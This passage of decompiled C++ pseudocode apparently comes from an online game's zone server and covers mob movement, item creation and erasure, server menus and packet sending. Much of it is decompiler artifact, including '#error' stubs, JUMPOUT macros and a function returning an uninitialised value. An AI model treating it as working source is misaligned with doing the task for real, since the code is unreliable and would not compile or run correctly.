ST04_4@6 int v13; // eax@6 signed int v14; // ecx@6 int v15; // eax@7 int v16; // edx@8 char *v17; // [sp-4h] [bp-38h]@9 int to; // [sp+14h] [bp-20h]@3 int v19; // [sp+18h] [bp-1Ch]@3 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-18h]@4 int v21; // [sp+30h] [bp-4h]@1 v1 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_MoveByScenario"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_MoveByScenario"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)(v1 + 7420); v21 = 0; if ( !v2 || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1544))(v1) ) { v21 = -1; v17 = "ShineObjectClass::ShineMobileObject::smo_MoveByScenario"; } else { v3 = *(_DWORD *)(v1 + 7232); to = *(_DWORD *)(v1 + 7228); v4 = *(_DWORD *)(v1 + 7236); v19 = v3; if ( v4 == 1 ) { v5 = (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1296))(v1); (*(void (__thiscall **)(int, int *, int, signed int, _DWORD))(*(_DWORD *)v1 + 1624))(v1, &to, v5, 1, 0); v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8216; v7 = (int)(v6 + 2); *((_WORD *)v6 + 1) = *(_WORD *)(v1 + 4); v8 = *(_DWORD *)(v1 + 78); *(_DWORD *)(v7 + 2) = *(_DWORD *)v8; *(_DWORD *)(v7 + 6) = *(_DWORD *)(v8 + 4); *(_DWORD *)(v7 + 10) = to; *(_DWORD *)(v7 + 14) = v19; *(_BYTE *)(v7 + 20) &= 0xFEu; *(_WORD *)(v7 + 18) = v5; ShineObjectClass::ShineMobileObject::smo_SetMovePacket(v1, 24, v7); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 23); LOBYTE(v21) = 1; } else { v9 = (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1300))(v1); (*(void (__thiscall **)(int, int *, int, signed int, _DWORD))(*(_DWORD *)v1 + 1624))(v1, &to, v9, 2, 0); v10 = (int)(gpp.pp_Buffer + 2); *(_WORD *)gpp.pp_Buffer = 8218; *(_WORD *)v10 = *(_WORD *)(v1 + 4); v11 = *(_DWORD *)(v1 + 78); *(_DWORD *)(v10 + 2) = *(_DWORD *)v11; *(_DWORD *)(v10 + 6) = *(_DWORD *)(v11 + 4); *(_DWORD *)(v10 + 10) = to; *(_DWORD *)(v10 + 14) = v19; *(_BYTE *)(v10 + 20) &= 0xFEu; *(_WORD *)(v10 + 18) = v9; ShineObjectClass::ShineMobileObject::smo_SetMovePacket(v1, 26, v10); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 23); LOBYTE(v21) = 2; } v12 = *(_DWORD *)(v1 + 78); v13 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v1, v13, v12, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v21) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v14 = 1; if ( *(_DWORD *)(v1 + 7420) > 1 ) { v15 = v1 + 7228; do { *(_DWORD *)v15 = *(_DWORD *)(v15 + 12); v16 = *(_DWORD *)(v15 + 20); *(_DWORD *)(v15 + 4) = *(_DWORD *)(v15 + 16); *(_DWORD *)(v15 + 8) = v16; ++v14; v15 += 12; } while ( v14 < *(_DWORD *)(v1 + 7420) ); } --*(_DWORD *)(v1 + 7420); v21 = -1; v17 = "ShineObjectClass::ShineMobileObject::smo_MoveByScenario"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v17); } //----- (004F39E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_scene_CreateItem(void *this, int itemid) { void *v2; // ebx@1 int v3; // ST0C_4@1 CServerInfo::MY_SERVER *v4; // eax@1 ItemDataBox::ItemDataBoxIndex *v5; // eax@1 ItemAttributeClass *v6; // edi@5 char *v7; // [sp-4h] [bp-9Ch]@3 int v8; // [sp+10h] [bp-88h]@1 FunctionEntarance _; // [sp+14h] [bp-84h]@1 char iti; // [sp+18h] [bp-80h]@1 __int16 v11; // [sp+20h] [bp-78h]@1 unsigned int v12; // [sp+88h] [bp-10h]@1 int v13; // [sp+94h] [bp-4h]@1 v2 = this; v12 = (unsigned int)&v8 ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_scene_CreateItem"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_scene_CreateItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_scene_CreateItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13 = 0; v3 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v4 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)&iti, itemid, 2, v4->nZoneNo, v3); v11 = itemid; v5 = ItemDataBox::operator__(&itemdatabox, itemid); v8 = v5 != 0; if ( v5 != 0 ) { if ( ItemDataBox::operator__(&itemdatabox, itemid)->data ) { v6 = ItemAttributeClassContainer::operator__(&itmattcontainer, itemid); v6->vfptr->iac_itemcreate( v6, itemid, (ItemTotalInformation *)&iti, (char *)&stru_63450C.maa_TargetSelect.aggresive); v6->vfptr->iac_SetLot(v6, (SHINE_ITEM_STRUCT *)&v11, 1u); ShineObjectClass::ShinePlayer::sp_MakeItem(v2, *((_WORD *)v2 + 2), (int)&iti); v7 = "ShineObjectClass::ShinePlayer::so_scene_CreateItem"; goto LABEL_6; } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_scene_CreateItem : Invalid item", (unsigned __int16)itemid); } v7 = "ShineObjectClass::ShinePlayer::so_scene_CreateItem"; LABEL_6: --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); __security_check_cookie((unsigned int)&v8 ^ v12); } //----- (004F3B40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_scene_ItemAttrSet(void *this, __int16 item, int attr) { void *v3; // ebx@1 int v4; // eax@1 int v5; // esi@1 int v6; // eax@1 int v7; // edx@1 int v8; // ecx@1 int v9; // eax@2 int v10; // edx@4 int v11; // eax@4 int v12; // eax@6 int v13; // eax@6 ItemAttributeClass *v14; // ebp@6 int v15; // edx@6 int v16; // eax@6 char *v17; // esi@6 int v18; // esi@6 int v19; // eax@6 ZoneBaseSession *v20; // eax@8 char *v21; // [sp+18h] [bp-C8h]@5 ITEM_INVEN inv; // [sp+2Ch] [bp-B4h]@1 int v23; // [sp+30h] [bp-B0h]@6 int iic; // [sp+34h] [bp-ACh]@6 int v25; // [sp+38h] [bp-A8h]@1 int ibii; // [sp+3Ch] [bp-A4h]@1 int v27; // [sp+40h] [bp-A0h]@1 int v28; // [sp+48h] [bp-98h]@4 __int16 v29; // [sp+4Ch] [bp-94h]@4 int *uii; // [sp+50h] [bp-90h]@4 int v31; // [sp+54h] [bp-8Ch]@4 int v32; // [sp+58h] [bp-88h]@4 FunctionEntarance _; // [sp+5Ch] [bp-84h]@1 int iti; // [sp+60h] [bp-80h]@6 int v35; // [sp+64h] [bp-7Ch]@6 unsigned __int16 itmid[2]; // [sp+68h] [bp-78h]@6 __int16 v37; // [sp+CCh] [bp-14h]@6 char v38; // [sp+CEh] [bp-12h]@6 unsigned int v39; // [sp+D0h] [bp-10h]@1 int v40; // [sp+DCh] [bp-4h]@1 v39 = (unsigned int)&inv ^ __security_cookie; v3 = this; v25 = attr; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_scene_ItemAttrSet"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_scene_ItemAttrSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_scene_ItemAttrSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)v3; v40 = 0; v5 = (*(int (__thiscall **)(void *))(v4 + 1172))(v3); v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1144))(v3); ibii = (int)&ItemBoxIterator::_vftable_; v27 = v6 + 3368; v7 = *(_DWORD *)(v6 + 3368); v8 = v6 + 3368; if ( v5 ) v9 = (*(int (__thiscall **)(int, int))(v7 + 4))(v8, v5); else v9 = (*(int (__thiscall **)(int))(v7 + 8))(v8); v28 = v9; ibii = (int)&ItemBoxIterIdent::_vftable_; v29 = item; v10 = *(_DWORD *)v3; LOBYTE(v40) = 1; v11 = (*(int (__thiscall **)(void *))(v10 + 2004))(v3); uii = &ibii; v31 = v11; v32 = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { v12 = *(_DWORD *)uii[1]; v23 = uii[2]; v13 = (*(int (__stdcall **)(int))v12)(v23); memcpy(&iti, (const void *)v13, 0x6Cu); v37 = *(_WORD *)(v13 + 108); v38 = *(_BYTE *)(v13 + 110); iic = v13; v14 = ItemAttributeClassContainer::operator__(&itmattcontainer, itmid[0]); v14->vfptr->iac_itemcreate(v14, *(_DWORD *)itmid, (ItemTotalInformation *)&iti, (char *)v25); v15 = *((_DWORD *)v3 + 14470); HIWORD(v16) = 0; inv.Inven = v23 & 0x3FF | 0x2400; LOWORD(v16) = *((_WORD *)v3 + 28942); v23 = (int)((char *)v3 + 57880); (*(void (__stdcall **)(int, int, int *, ITEM_INVEN *, ITEM_INVEN *))(v15 + 56))(v16, iic, &iti, &inv, &inv); v17 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13385; *((_WORD *)v17 + 1) = *((_WORD *)v3 + 2); *((_DWORD *)v17 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *((_WORD *)v17 + 4) = *((_WORD *)v3 + 28942); *(_DWORD *)(v17 + 10) = iti; *(_DWORD *)(v17 + 14) = v35; *((_WORD *)v17 + 9) = itmid[0]; memcpy(v17 + 20, &itmid[1], 0x64u); v17[120] = v38; v14->vfptr->iac_GetAttrSize(v14, (SHINE_ITEM_ATTRIBUTE *)&itmid[1]); v18 = v14->vfptr->iac_GetAttrSize(v14, (SHINE_ITEM_ATTRIBUTE *)&itmid[1]) + 20; v19 = v14->vfptr->iac_GetAttrSize(v14, (SHINE_ITEM_ATTRIBUTE *)&itmid[1]); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v19 + 20) ) { v20 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v20); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_scene_KQStepSet : Packet Too Long", v18); } ++*(_WORD *)(v23 + 4); v40 = -1; v21 = "ShineObjectClass::ShinePlayer::so_scene_ItemAttrSet"; } else { v40 = -1; v21 = "ShineObjectClass::ShinePlayer::so_scene_ItemAttrSet"; } --funcallanalizer.fca_stackpoint; ibii = (int)&ItemBoxIterator::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v21); __security_check_cookie((unsigned int)&inv ^ v39); } // 63918C: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (004F3DF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_scene_EraseItem(void *this, __int16 itemid, int Num) { void *v3; // esi@1 __int16 v4; // bx@1 __int16 v5; // ax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_scene_EraseItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_scene_EraseItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_DestroyItem(v3, *((_WORD *)v3 + 2), itemid, Num, 0); v4 = *((_WORD *)v3 + 2); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1144))(v3); ShineObjectClass::ShinePlayer::sp_DestroyItem(v3, v4, itemid, v5, 8); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_scene_EraseItem"); } //----- (004F3EB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::so_scene_EraseItem(ShineObjectClass::ShineDropItem *this, unsigned __int16 itemid, int Num) { ShineObjectClass::ShineDropItem *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_scene_EraseItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDropItem::so_scene_EraseItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 1348))(v3) + 8) == itemid ) (*(void (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 1352))(v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_scene_EraseItem"); } //----- (004F3F60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_scene_DetectRange(void *this, int range) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_scene_DetectRange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_scene_DetectRange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)(*((_DWORD *)v2 + 2097) + 16) = range; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_scene_DetectRange"); } //----- (004F3FC0) -------------------------------------------------------- #error "4F3FC0: undefined or illegal type '#593' (funcsize=102)" //----- (004F4110) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_scene_IsIdle(void *this) { void *v1; // esi@1 int v2; // edx@1 char result; // al@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_scene_IsIdle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_scene_IsIdle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; if ( *((_DWORD *)v1 + 1796) ) { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_scene_IsIdle"); result = 0; } else { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_scene_IsIdle"); result = 1; } return result; } //----- (004F41C0) -------------------------------------------------------- unsigned __int16 *__cdecl std::copy(unsigned __int16 *_First, unsigned __int16 *_Last, unsigned __int16 *_Dest) { int v3; // eax@1 memmove((char *)_Dest, (char *)_First, 2 * (_Last - _First)); return (unsigned __int16 *)(2 * (_Last - _First) + v3); } //----- (004F41F0) -------------------------------------------------------- void *__thiscall std::vector>::operator_(void *this, int a2) { void *v2; // esi@1 char *v3; // ebx@2 int v4; // edx@3 void *result; // eax@6 unsigned __int16 *v6; // ecx@7 int v7; // ebp@8 int v8; // eax@11 int v9; // eax@15 int v10; // eax@19 unsigned __int16 *v11; // ebx@21 int v12; // ecx@24 int v13; // eax@25 v2 = this; if ( this == (void *)a2 ) return v2; v3 = *(char **)(a2 + 4); if ( !v3 || (v4 = (*(_DWORD *)(a2 + 8) - (signed int)v3) >> 1) == 0 ) { if ( *((_DWORD *)this + 1) ) operator delete(*((void **)this + 1)); *((_DWORD *)v2 + 1) = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 3) = 0; return v2; } v6 = (unsigned __int16 *)*((_DWORD *)this + 1); if ( v6 ) v7 = (*((_DWORD *)v2 + 2) - (signed int)v6) >> 1; else v7 = 0; if ( v4 <= (unsigned int)v7 ) { memmove((char *)v6, v3, 2 * ((*(_DWORD *)(a2 + 8) - (signed int)v3) >> 1)); v8 = *(_DWORD *)(a2 + 4); if ( v8 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 2 * ((*(_DWORD *)(a2 + 8) - v8) >> 1); result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v6 ) v9 = (*((_DWORD *)v2 + 3) - (signed int)v6) >> 1; else v9 = 0; if ( v4 > (unsigned int)v9 ) { if ( v6 ) operator delete(*((void **)v2 + 1)); v12 = *(_DWORD *)(a2 + 4); if ( v12 ) v13 = (*(_DWORD *)(a2 + 8) - v12) >> 1; else v13 = 0; if ( std::vector>::_Buy( (std::vector > *)v2, v13) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( *(char **)(a2 + 4), *(_DWORD *)(a2 + 8), *((char **)v2 + 1)); return v2; } if ( v6 ) v10 = (*((_DWORD *)v2 + 2) - (signed int)v6) >> 1; else v10 = 0; v11 = (unsigned __int16 *)(*(_DWORD *)(a2 + 4) + 2 * v10); std::copy(*(unsigned __int16 **)(a2 + 4), v11, *((unsigned __int16 **)v2 + 1)); *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (char *)v11, *(_DWORD *)(a2 + 8), *((char **)v2 + 2)); return v2; } //----- (004F4330) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_scene_SetWeaponRate(void *this, int rRates) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_scene_SetWeaponRate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_scene_SetWeaponRate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; std::vector>::operator_((char *)v2 + 9036, rRates); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_scene_SetWeaponRate"); } //----- (004F43D0) -------------------------------------------------------- void __thiscall ServerMenuActor::_Selected::_Selected(ServerMenuActor::_Selected *this) { *(_WORD *)&this[1].smargument.sma_link.sml_lnkinf.index[0] = 78; } //----- (004F43E0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_LinkReplyCheck(int this, int lnkinf) { int v2; // eax@1 v2 = *(_DWORD *)(this + 68612); JUMPOUT(v2, 0, Concurrency::_Order_node_base::reserve_message); JUMPOUT(*(_DWORD *)(v2 + 4), 0, Concurrency::_Order_node_base::reserve_message); return (*(int (**)(void))(**(_DWORD **)(v2 + 4) + 48))(); } // 4F43F9: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004F4400) -------------------------------------------------------- void __thiscall ServerMenuActor::_ServerMenuActor(ServerMenuActor *this) { _eh_vector_destructor_iterator_( this->sma_Selected, 0x70u, 10, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004F4420) -------------------------------------------------------- char __thiscall ServerMenuActor::sma_IsReady(ServerMenuActor *this) { return this->sma_Subst == 0; } //----- (004F4430) -------------------------------------------------------- #error "4F4430: undefined or illegal type '#734' (funcsize=32)" //----- (004F44D0) -------------------------------------------------------- #error "4F44D0: undefined or illegal type '#734' (funcsize=92)" //----- (004F4600) -------------------------------------------------------- #error "4F4600: undefined or illegal type '#734' (funcsize=89)" //----- (004F4750) -------------------------------------------------------- #error "4F4750: undefined or illegal type '#734' (funcsize=39)" //----- (004F4810) -------------------------------------------------------- #error "4F4810: undefined or illegal type '#734' (funcsize=34)" //----- (004F48C0) -------------------------------------------------------- #error "4F48C0: undefined or illegal type '#593' (funcsize=55)" //----- (004F49B0) -------------------------------------------------------- void __thiscall ServerMenuFuncter::smfm_DeleteInstanceDungeon(ServerMenuFuncter *this, #734 *a2, ServerMenuArgument *arg) { char *v3; // eax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ServerMenuFuncter::smfm_DeleteInstanceDungeon"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuFuncter::smfm_DeleteInstanceDungeon"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_DWORD *)(gpp.pp_Buffer + 5) = *(_DWORD *)&arg->sma_link.sml_lnkinf.index[4]; *(_DWORD *)(v3 + 9) = *(_DWORD *)&arg->sma_link.sml_lnkinf.index[0]; ZoneRingPacketEmtpyInstanceDungeon::zrpb_Request(&zonringpack_emptyinstancedungeon, 0, (NETCOMMAND *)v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuFuncter::smfm_DeleteInstanceDungeon"); } //----- (004F4A60) -------------------------------------------------------- #error "4F4A60: undefined or illegal type '#734' (funcsize=93)" //----- (004F4BD0) -------------------------------------------------------- #error "4F4BD0: undefined or illegal type '#734' (funcsize=48)" //----- (004F4C90) -------------------------------------------------------- void __thiscall ServerMenuActor::ServerMenuActor(ServerMenuActor *this) { _eh_vector_constructor_iterator_( this->sma_Selected, 0x70u, 10, (void (__thiscall *)(void *))ServerMenuActor::_Selected::_Selected, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004F4CB0) -------------------------------------------------------- void __thiscall ServerMenuActor::sma_Reset(ServerMenuActor *this) { ServerMenuActor *v1; // esi@1 int v2; // eax@1 signed int v3; // ecx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuActor::sma_Reset"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuActor::sma_Reset"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (int)&v1->sma_Selected[1]; v3 = 10; do { *(_DWORD *)(v2 - 4) = ShineObjectClass::ShineObject::so_ply_AdminCommand; *(_WORD *)v2 = 78; v2 += 112; --v3; } while ( v3 ); v1->sma_Subst = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuActor::sma_Reset"); } //----- (004F4D30) -------------------------------------------------------- void __thiscall ServerMenuActor::sma_Regist(ServerMenuActor *this, void (__thiscall *func)(ServerMenuFuncter *, #734 *, ServerMenuArgument *), ServerMenuArgument *sma, CharModeClassifier allowMode) { ServerMenuActor *v4; // ebx@1 int v5; // eax@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuActor::sma_Regist"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuActor::sma_Regist"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = v4->sma_Subst; if ( v5 < 10 ) { memcpy((char *)v4->sma_Selected + 112 * v5, sma, 0x68u); *(&v4->baseclass_0.x + 28 * (v4->sma_Subst + 1)) = (unsigned int)func; *(_WORD *)&v4->sma_Selected[1].smargument.sma_link.sml_lnkinf.index[112 * v4->sma_Subst++] = allowMode.cmc_AllowMode; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuActor::sma_Regist"); } else { AssertClass::ac_AssertFail(&shineassert, "ServerMenuActor::sma_Regist : Too many regist", v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuActor::sma_Regist"); } } //----- (004F4E50) -------------------------------------------------------- #error "4F4E50: undefined or illegal type '#734' (funcsize=96)" //----- (004F4FD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MENU_SERVERMENU_ACK(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // edx@1 int v6; // eax@1 ServerMenuActor *v7; // ecx@1 int v8; // edx@1 int v9; // ebp@1 char v10; // al@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MENU_SERVERMENU_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MENU_SERVERMENU_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)((char *)v4 + 78); v6 = *(_DWORD *)v5; v7 = (ServerMenuActor *)((char *)v4 + 68628); v8 = *(_DWORD *)(v5 + 4) - *((_DWORD *)v4 + 17158); v9 = v8 * v8 + (v6 - *((_DWORD *)v4 + 17157)) * (v6 - *((_DWORD *)v4 + 17157)); v10 = *((_BYTE *)v4 + 23353); if ( v10 & 4 || (unsigned int)v9 <= 0xF4240 ) { ServerMenuActor::sma_Reply(v7, (#734 *)v4, *(_BYTE *)(netcmd + 2)); } else { *((_BYTE *)v4 + 23353) = v10 & 0xFB; ServerMenuActor::sma_Reset(v7); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MENU_SERVERMENU_ACK"); } //----- (004F50C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_RemoveKQItem(void *this, int invenType) { void *v2; // esi@1 signed int v3; // edi@1 int v4; // eax@1 void *v5; // eax@3 int v6; // ebx@5 int v7; // ecx@8 int v8; // edx@10 int v9; // eax@10 char *v10; // ebp@11 int v11; // edi@13 ItemDataBox::ItemDataBoxIndex *v12; // eax@14 ItemInfoServer *v13; // eax@15 int v14; // edx@18 int v15; // ebx@19 int v16; // eax@19 int v17; // eax@20 int v18; // eax@21 int v19; // edx@23 int v20; // ST14_4@24 char v21; // al@24 ZoneBaseSession *v22; // eax@25 char *v23; // [sp+14h] [bp-48h]@7 ITEM_INVEN inv; // [sp+28h] [bp-34h]@11 void *fo; // [sp+2Ch] [bp-30h]@3 FunctionEntarance _; // [sp+30h] [bp-2Ch]@1 int *uii; // [sp+34h] [bp-28h]@10 int v28; // [sp+38h] [bp-24h]@10 int v29; // [sp+3Ch] [bp-20h]@10 int ibii; // [sp+40h] [bp-1Ch]@10 int v31; // [sp+44h] [bp-18h]@10 int v32; // [sp+4Ch] [bp-10h]@10 int v33; // [sp+58h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_RemoveKQItem"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RemoveKQItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RemoveKQItem"; v3 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)((char *)v2 + 98); v33 = 0; if ( !v4 ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::sp_RemoveKQItem : NULLMAP", 0); --funcallanalizer.fca_stackpoint; v33 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RemoveKQItem"); return; } v5 = *(void **)(v4 + 12); fo = v5; if ( v5 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::sp_RemoveKQItem : NULLOp", v5 != 0); --funcallanalizer.fca_stackpoint; v33 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RemoveKQItem"); return; } v6 = invenType; if ( invenType == 8 ) { v7 = (int)((char *)v2 + 32312); goto LABEL_10; } if ( invenType == 9 ) { v7 = (int)((char *)v2 + 35680); LABEL_10: ibii = (int)&ItemBoxIterator::_vftable_; v31 = v7; v32 = (*(int (**)(void))(*(_DWORD *)v7 + 8))(); ibii = (int)&ItemBoxIterItem::_vftable_; v8 = *(_DWORD *)v2; LOBYTE(v33) = 1; v9 = (*(int (__thiscall **)(void *))(v8 + 2004))(v2); uii = &ibii; v28 = v9; v29 = invenType; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13401; *((_WORD *)v10 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v10 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *((_WORD *)v10 + 4) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2) + 4); v10[10] = 0; inv.Inven = ((_WORD)invenType << 10) | inv.Inven & 0x3FF; while ( 1 ) { v11 = (**(int (__stdcall ***)(_DWORD))uii[1])(uii[2]); if ( 